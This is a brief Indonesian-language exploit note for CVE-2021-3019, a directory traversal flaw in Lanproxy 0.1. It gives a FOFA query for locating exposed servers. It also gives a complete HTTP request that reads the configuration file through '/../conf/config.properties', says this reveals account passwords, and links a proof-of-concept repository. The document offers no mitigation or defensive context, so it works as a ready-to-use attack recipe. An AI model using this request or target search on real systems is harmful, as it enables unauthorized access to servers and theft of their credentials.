CVE-2021-3019 direktori lanproxy traversal kerentanan

Dampak Kerentanan

Lanproxy 0.1

FOFA

header= "Server: LPS-0.1"

Kirim permintaan berikut:

GET /../conf/config.properties HTTP/1.1
Host: xxx.xxx.xxx.xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

Berhasil membaca kata sandi akun di file konfigurasi.

POC

https://github.com/FanqXu/CVE-2021-3019/